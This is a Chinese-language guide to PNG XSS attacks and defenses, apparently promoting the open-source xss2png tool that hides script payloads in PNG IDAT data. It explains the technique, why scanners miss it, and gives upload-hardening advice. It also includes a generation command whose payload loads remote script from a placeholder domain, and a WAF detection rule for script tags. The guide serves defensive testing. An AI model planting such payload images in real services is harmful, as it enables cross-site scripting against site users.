一张 PNG 如何藏进攻击代码?PNG XSS 攻击实战防御完整指南
【免费下载链接】xss2pngPNG IDAT chunks XSS payload generator项目地址: https://gitcode.com/gh_mirrors/xs/xss2png
图片等于安全——这个直觉正在被 PNG XSS 攻击悄悄打破。开源工具 xss2png 能把一段<script>代码塞进 PNG 图片的 IDAT 数据块:成品肉眼是正常图片,浏览器渲染毫无异常,可一旦被处理不当的上传接口、图片代理或文件包含逻辑"当作 HTML 解析",藏在里面的脚本就会原地执行。2016 年就有人靠这种手法在知名社交平台拿到过漏洞赏金。先别慌,记住一个前提:绝大多数正常图片是绝对安全的,问题只出在"图片被错误地当成了代码"的那一刻。
xss2png 是什么:给图片做"安全体检"的小工具
xss2png 是一个只有单个 Python 文件、依赖仅 Pillow 的轻量工具,初衷是把"在 PNG 的 IDAT 数据块里嵌入 XSS payload"这件事压缩成一条命令。它适合两类人:做渗透测试和漏洞赏金的安全研究员,以及想给自家图片上传功能做体检的开发者、运维。用它,你能在五分钟内生成一张"看起来人畜无害、实则夹带私货"的 PNG。
一张 PNG 里有暗格:用"快递包裹"看懂 IDAT 数据块
PNG 不是一整块像素,而是一串有结构的数据块。你可以把它想象成一个快递包裹:
| PNG 组成部分 | 白话解释 |
|---|---|
| 8 字节文件头 | 固定魔数,相当于包裹外壳上的品牌标识 |
| IHDR 数据块 | 面单:记录宽、高、位深等基本参数 |
| IDAT 数据块 | 主隔层:压缩后的图像数据,payload 就藏在这里 |
| IEND 数据块 | 封口胶带:声明"包裹到此为止" |
IDAT 里的图像数据经过 zlib 压缩(zlib 是一种通用压缩算法,和 ZIP 同源),xss2png 的骚操作在于"反向打包":它把 payload 预先编码成符合压缩规则的字节,再混进像素值里,让压缩后的结果恰好把 payload 以明文形式"原样躺在"图像数据中间——就像卖家把写着暗号的纸条伪装成填充物塞进包裹夹层。快递公司查验尺寸、重量、封装,全都没问题。🖼️
图片上传漏洞防护:先对号入座这 4 类高发场景
藏是藏好了,怎么触发?条件是图片字节最终被当成 HTML/文本解析。最容易踩雷的链路有四条:
| 场景 | 风险点 | 快速自检 |
|---|---|---|
| 头像/附件上传 | 文件直接落在 web 根目录,且目录允许脚本执行 | 上传后文件 URL 能直接访问到? |
| 富文本编辑器 | 图片被原样嵌入文章页,响应头缺 nosniff | 编辑器支持拖拽/粘贴本地图片? |
| CDN 图片代理 | 缓存后以错误 Content-Type 回源 | 图片 URL 是否强制 image/*? |
| 图床/文件分享 | 文件包含逻辑把 PNG 当 HTML 输出 | 是否开启 MIME 嗅探防护? |
如果你的系统存在"上传图片 → 把图片内容返回给浏览器"这条链路,就值得把后面两节读完。
PNG 图片恶意代码检测:为什么扫描器会漏掉它
三个原因让这种攻击天然隐身。第一,字节合法:payload 是图像数据的一部分,IDAT 压缩流完全符合 zlib 规范,按"图像"解析的静态扫描器看不出毛病。第二,渲染正常:图片在浏览器和看图软件里显示毫无异常,人工抽查形同虚设。第三,触发隐蔽:它只在"图片被当 HTML 解析"的特定页面生效,普通爬虫和常规安全测试请求根本触发不了。🧐 换句话说,扫描器不是不努力,而是它的"世界观"里根本没有"图像数据里能明文躺着脚本"这件事。
分层防护手册:三种角色,三套动作
个人开发者(三件今天就能做的事):
- 上传校验别只看扩展名——读文件头并用 Pillow 重新解码再保存,服务端重编码是最有效的"消毒"手段;
- 图片上传目录禁止脚本执行,在 Nginx 里让该目录不经过任何 PHP/FastCGI 处理;
- 图片响应统一加
X-Content-Type-Options: nosniff,命令浏览器禁止 MIME 嗅探(MIME 嗅探是浏览器在响应头缺失时,根据文件内容自作主张猜类型的机制)。
运维人员:
- 网关/CDN 层强制图片响应 Content-Type 为 image/*,并携带 nosniff;
- 在 WAF 或流量侧加一条特征规则:图片数据流里出现
<script、<?php等明文标记即告警拦截(payload 是明文的,这条规则成本低、见效快); - 上传文件放独立对象存储,web 服务器只做跳转、不落地文件。
企业安全团队:
- 图片处理流水线强制服务端重编码,原始字节一律丢弃,从源头掐断;
- 定期用 xss2png 生成样本做红队演练,验证 WAF、CSP、nosniff 三层防线是否真能拦截;
- 收紧 CSP(内容安全策略,可理解为"告诉浏览器哪些脚本可信"的规则清单),img-src 限定来源、script-src 不放行内联脚本,并备好"发现携带 payload 图片"后的溯源清理预案。🛡️
今日自查清单:5 件低门槛的图片安全检查
| # | 检查项 | 5 分钟做法 |
|---|---|---|
| 1 | 上传是否只看扩展名? | 用file命令对比文件真实类型 |
| 2 | 图片响应带 nosniff 了吗? | curl -I 图片URL查看响应头 |
| 3 | 上传目录能执行脚本吗? | 放一个 .php 测试文件试着请求 |
| 4 | Content-Type 是 image/* 吗? | curl -I确认响应头 |
| 5 | 图片处理库是最新稳定版吗? | pip list 对比官方版本号 |
这五项都不需要写代码,十分钟能跑完,性价比极高。🔒
用 xss2png 验证你的防线:3 条命令生成测试图
动手之前,先认识一下"敌人"长什么样:
git clone https://gitcode.com/gh_mirrors/xs/xss2png cd xss2png && pip install -r requirements.txt python3 xss2png.py -p "<SCRIPT SRC=//你的域名/x.js></SCRIPT>" -o test.png两个提醒:工具会自动把 payload 转成大写,脚本标签建议直接写大写;生成后用strings test.png | grep -i script或 hexdump 查看,你能直接在 IDAT 区域看到明文的<SCRIPT>。然后把 test.png 丢进自己的测试环境,依次验证上传接口是否拦截、图片响应是否带 nosniff、WAF 是否告警——任何一个环节亮红灯,都说明防线有洞。⚠️ 请牢记:xss2png 只应用于你有明确授权的目标,项目作者的原话是 "Don't be evil",把它留在自家靶场里。
延伸探索:想深入理解 payload 的生成与过滤绕过逻辑,可阅读项目内的xss2png.py(核心在 reverse_huffman 与 bypass_png_filters 两个函数);完整的用法与案例记录在README.md。
回到开头的那个直觉——"图片是安全的"。这个判断本身,或许才是最大的漏洞。PNG 从来不只是像素,它天生是个带暗格的容器;而安全也从来不是"看起来没问题",而是"验证过没问题"。下一次当你把图片交给自己的服务时,不妨多问一句:它,真的只是一张图片吗?
【免费下载链接】xss2pngPNG IDAT chunks XSS payload generator项目地址: https://gitcode.com/gh_mirrors/xs/xss2png
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考